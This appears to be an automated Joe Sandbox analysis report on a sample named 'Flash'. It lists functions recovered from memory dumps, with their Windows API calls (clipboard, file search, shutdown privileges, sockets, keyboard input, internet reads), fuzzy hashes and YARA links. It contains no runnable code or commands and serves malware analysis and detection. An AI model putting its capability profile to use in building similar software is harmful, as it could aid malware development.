Opcode Fuzzy Hash: d05b9ba5cb5df98a782560e4319992858b5ab18e77bd0f9f14e7333968e734df
Instruction Fuzzy Hash: A9E15831204210AFCB14DF69C995E2ABBF9FF89314F14896DF84ADB2A1DA30ED05CB51

Function 00A3443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00A34451
__swprintf.LIBCMT ref: 00A3445E

Part of subcall function 009F38C8: __woutput_l.LIBCMT ref: 009F3921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00A34488
LoadResource.KERNEL32(?,00000000), ref: 00A34494
LockResource.KERNEL32(00000000), ref: 00A344A1
FindResourceW.KERNEL32(?,?,00000003), ref: 00A344C1
LoadResource.KERNEL32(?,00000000), ref: 00A344D3
SizeofResource.KERNEL32(?,00000000), ref: 00A344E2
LockResource.KERNEL32(?), ref: 00A344EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00A3454F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: ea710ae76fe41f107411a75f6e4ae8a794a9f825280b3d99d1f583b0156dd374
Instruction ID: 2326740223e97bba4faa2f65d7837af696ab2770ee5391a5cca44c2049e5b3c9
Opcode Fuzzy Hash: ea710ae76fe41f107411a75f6e4ae8a794a9f825280b3d99d1f583b0156dd374
Instruction Fuzzy Hash: FD318F71A0121AABDB15DFA0ED58EBB7BB8EF08341F044425FA16D6150DB74EE52CBB0

Function 00A44830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00A44857
EmptyClipboard.USER32 ref: 00A4485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00A44872
CloseClipboard.USER32 ref: 00A44911

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 6a9973d1c5340ef5b17d1219c7a3996c1dbcd34b0d7049d40af107d6c6ae73f9
Instruction ID: 21e6cf3e1a7acaeb4e408847d044ef518bf8b27696f998ac8482cf03feaa2b07
Opcode Fuzzy Hash: 6a9973d1c5340ef5b17d1219c7a3996c1dbcd34b0d7049d40af107d6c6ae73f9
Instruction Fuzzy Hash: 3421A7392412109FEB11EFA4EC59F6E77B9EF88711F018015F9069B2A2DBB0AD51CB54

Function 00A3FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00A3FA83
FindClose.KERNEL32(00000000), ref: 00A3FB96

Part of subcall function 009D52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009D52E6

Sleep.KERNEL32(0000000A), ref: 00A3FAB3
_wcscmp.LIBCMT ref: 00A3FAC7
_wcscmp.LIBCMT ref: 00A3FAE2
FindNextFileW.KERNEL32(?,?), ref: 00A3FB80

Strings

*.*, xrefs: 00A3FA68

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 7c974d549c6ee5015282dc75add2edcfddd0b207ff56fbbada29825aad35e632
Instruction ID: 27fff97b36bc21633d350687119e5b7a036bcd3abc9f85fc295bb6b0dfd62377
Opcode Fuzzy Hash: 7c974d549c6ee5015282dc75add2edcfddd0b207ff56fbbada29825aad35e632
Instruction Fuzzy Hash: B8419FB1D1020AAFCF15DFA4CC59AEEBBB5FF05350F148566F814A22A1EB309E84CB50

Function 00A35778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00A29399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A293E3
Part of subcall function 00A29399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A29410
Part of subcall function 00A29399: GetLastError.KERNEL32 ref: 00A2941D

ExitWindowsEx.USER32(?,00000000), ref: 00A357B4

Strings

SeShutdownPrivilege, xrefs: 00A35784
, xrefs: 00A357A2
@, xrefs: 00A357A7

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 98d36d3e88e26c35ba822a4d1e4487b8c3a7cbc4b8f615f72695749f2b09658f
Instruction ID: 26f32b8ae4b6bdffccb9a9ca4dcebef008db7c654c5e7696f0b895ae6aecb5e0
Opcode Fuzzy Hash: 98d36d3e88e26c35ba822a4d1e4487b8c3a7cbc4b8f615f72695749f2b09658f
Instruction Fuzzy Hash: 4C01D631F55712EBE728A3BDDC8BFBB7668EB05751F240D29F913D60D2EA905C008560

Function 00A4696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00A469C7
WSAGetLastError.WSOCK32(00000000), ref: 00A469D6
bind.WSOCK32(00000000,?,00000010), ref: 00A469F2
listen.WSOCK32(00000000,00000005), ref: 00A46A01
WSAGetLastError.WSOCK32(00000000), ref: 00A46A1B
closesocket.WSOCK32(00000000,00000000), ref: 00A46A2F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: e134f0804ad0ab02434da93d4c4af244ceca0d1f85aadd5d2b4693c9677c97e2
Instruction ID: be7495b6da5445af7de421b6f2473afd303b2fc94e0dfe769bc0afecdbb2584c
Opcode Fuzzy Hash: e134f0804ad0ab02434da93d4c4af244ceca0d1f85aadd5d2b4693c9677c97e2
Instruction Fuzzy Hash: CE21D2342406009FCB10EFA8D949F6EB7B9EF85720F108559E816A73D1CB70AC41CB91

Function 009D1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 009D1DD6
GetSysColor.USER32(0000000F), ref: 009D1E2A
SetBkColor.GDI32(?,00000000), ref: 009D1E3D

Part of subcall function 009D166C: DefDlgProcW.USER32(?,00000020,?), ref: 009D16B4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: b11ed067a12c3e4ea8f9e557819a52398a2366b040481940d914355dcbc1ecf5
Instruction ID: 3be48041af3afe1c370d66e0d332c150ff22a105b47df8f630e8c0ec576c377b
Opcode Fuzzy Hash: b11ed067a12c3e4ea8f9e557819a52398a2366b040481940d914355dcbc1ecf5
Instruction Fuzzy Hash: C8A16A721A5608BEE62CAF696E49E7F369EEF41302F15C50BF442D63D1CB289D02C275

Function 00A3C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A3C329
_wcscmp.LIBCMT ref: 00A3C359
_wcscmp.LIBCMT ref: 00A3C36E
FindNextFileW.KERNEL32(00000000,?), ref: 00A3C37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00A3C3AF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: b9a7e33327e7bad403a14abb0c39e6d68a59f8a069b9d3e466013c6490e65a7c
Instruction ID: c4247d1630eb0995135e7a23356f634c64457915271bb72a552c97df95ff1a89
Opcode Fuzzy Hash: b9a7e33327e7bad403a14abb0c39e6d68a59f8a069b9d3e466013c6490e65a7c
Instruction Fuzzy Hash: 0B517A756046029FC714DF68D890EAAB3E8FF89320F10861DF9569B3A1DB30ED05CB91

Function 00A46E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A48475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00A484A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00A46E89
WSAGetLastError.WSOCK32(00000000), ref: 00A46EB2
bind.WSOCK32(00000000,?,00000010), ref: 00A46EEB
WSAGetLastError.WSOCK32(00000000), ref: 00A46EF8
closesocket.WSOCK32(00000000,00000000), ref: 00A46F0C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: c9e98854adcfbf894fc018c58bbd9a0f651088f3e72120bcbd6df37b39fede78
Instruction ID: 9dd40fb25fe2a5fcf7540c0a1f976394e8acec0fa7f9d170c5e90e7598ff13d9
Opcode Fuzzy Hash: c9e98854adcfbf894fc018c58bbd9a0f651088f3e72120bcbd6df37b39fede78
Instruction Fuzzy Hash: 4D41D475680610AFDB10AFA4DC86F6E73F99F88710F04C55DFA16AB3D2DA70AD018B91

Function 00A559B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00A55A02
IsWindowEnabled.USER32 ref: 00A55A10
GetForegroundWindow.USER32(?,?,00000001), ref: 00A55A1D
IsIconic.USER32 ref: 00A55A2B
IsZoomed.USER32 ref: 00A55A39

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: e0f481b7a86e4a30b1ee75c752fcdb7a0785866f9d0e53238be38bfc1811d029
Instruction ID: df4e9cab18fc4ca5a8b6fab114e68976a3226d5a5870c7770a8577270d7c196f
Opcode Fuzzy Hash: e0f481b7a86e4a30b1ee75c752fcdb7a0785866f9d0e53238be38bfc1811d029
Instruction Fuzzy Hash: B9110871B409119FE7115F76DC94B2F7BA9FF84762F008129FD46D7241DB70E9028A90

Function 00A10030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00A10034
__swprintf.LIBCMT ref: 00A10065

Strings

%.3d, xrefs: 00A1003F
WIN_XPe, xrefs: 00A100A4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: c36d5167c3b16723d887c6feabbea3983e51caf12c2c6c53b05bb1b41c76138c
Instruction ID: d5575708022da5d8f10d3076972c58809b231f2bb09450e920e04ec77cdc5800
Opcode Fuzzy Hash: c36d5167c3b16723d887c6feabbea3983e51caf12c2c6c53b05bb1b41c76138c
Instruction Fuzzy Hash: F4D01271854119EAC704DBA0C844EFA737CBB0C300F144453F606E2040E6B98BD89B22

Function 00A429BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 00A42AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00A42AE4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 7277a13e8160c4b6571000ef678c9ca5cea8c94ac6bc54e1cdd0d47a543fe6be
Instruction ID: c0acc3c25551582329c99986d651a084f865528b9932f5be9a7733a7482320de
Opcode Fuzzy Hash: 7277a13e8160c4b6571000ef678c9ca5cea8c94ac6bc54e1cdd0d47a543fe6be
Instruction Fuzzy Hash: D3418079600609BFEB20DF95CC85FBBB7BCEBC0794F50406AFA05A6141DAB1AE419760

Function 00A29399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 009F0FE6: std::exception::exception.LIBCMT ref: 009F101C
Part of subcall function 009F0FE6: __CxxThrowException@8.LIBCMT ref: 009F1031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A293E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A29410
GetLastError.KERNEL32 ref: 00A2941D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 90f7cc1aa65834b500e9c976db1e72d77615a7b3d248bbf1a7c32abfca7b8823
Instruction ID: 96ba921b37af2e020a93284af013ad0b1e1eaaaaff3e8731fbd913951460b262
Opcode Fuzzy Hash: 90f7cc1aa65834b500e9c976db1e72d77615a7b3d248bbf1a7c32abfca7b8823
Instruction Fuzzy Hash: A21191B2418209AFD728EF54EC85D3BB7BCEB48710B20852EF45997641EB70EC41CB60

Function 00A342D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00A342FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00A3433C
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00A34345

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 37cc05fd561a12d8cb88d6672b92603870dbb0f62fc2ee8bfb4a506e3b3b2b50
Instruction ID: bad9cd89b84e766a4b2960b4df7689ab24eb6203fcc1a6f5749eae3220ac2e6a
Opcode Fuzzy Hash: 37cc05fd561a12d8cb88d6672b92603870dbb0f62fc2ee8bfb4a506e3b3b2b50
Instruction Fuzzy Hash: BD1152B1901229BEE710DBE89C48FAFB7BCEB09710F140656FA14EB190D2B46D4587A1

Function 00A34F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00A34F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00A34F5C
FreeSid.ADVAPI32(?), ref: 00A34F6C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: f543d16d8fc846d22a9af9f5f3b0b350bb87c0e73f8b9f70d3027de3ce821728
Instruction ID: f3d1fe69e4f635647e65fc1c3eea4a4519f7338533b918e9501d4ce2aaa26329
Opcode Fuzzy Hash: f543d16d8fc846d22a9af9f5f3b0b350bb87c0e73f8b9f70d3027de3ce821728
Instruction Fuzzy Hash: 4CF03775A1120CBFDB00DFE09D89EAEBBB8EB08201F0044A9EA01E2180E6756A448B50

Function 00A31AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00A31B01
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 00A31B14

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 6c13b43db5bb7886ef72ccad9f08d8f4f5e9c3a042a456d9b1e0b852181eef29
Instruction ID: 34f92cc7c340bf0b874ff6786818b89ccdbe722998276854c2db41ac49ec7b52
Opcode Fuzzy Hash: 6c13b43db5bb7886ef72ccad9f08d8f4f5e9c3a042a456d9b1e0b852181eef29
Instruction Fuzzy Hash: 0BF0497190020DABDB00CF94C805BFEBBB4FF04315F00804AF95596292D3799615DF94

Function 00A3A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00A49B52,?,00A6098C,?), ref: 00A3A6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00A49B52,?,00A6098C,?), ref: 00A3A6EC

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: a5e8a2639cd15d9142894d36a97a5945777c2b6f2ecab792905a97203dce716f
Instruction ID: 3d7a3149b3343817b0e86e357aa0a63a24594d8c1f8b22be250b0cdf3283b805
Opcode Fuzzy Hash: a5e8a2639cd15d9142894d36a97a5945777c2b6f2ecab792905a97203dce716f
Instruction Fuzzy Hash: 04F0823550422DBBDB21AFA4CC49FEA77ACAF09361F008155F91896181D7709940CBA1

Function 00A28DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A28F27), ref: 00A28DFE
CloseHandle.KERNEL32(?,?,00A28F27), ref: 00A28E10

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 49a03c6e6e3795afbb75ada6a42f7ccf1c0ba6430d5653ab5608fd71d0c2ac0a
Instruction ID: 5ae0d65fca339dd63826687aeb26d859c62593948105919aaf121f05b9191f3f
Opcode Fuzzy Hash: 49a03c6e6e3795afbb75ada6a42f7ccf1c0ba6430d5653ab5608fd71d0c2ac0a
Instruction Fuzzy Hash: 95E04632010610EFE7262B60EC08E777BADEB00310B148829F59A80470CBA2ACD0DB50

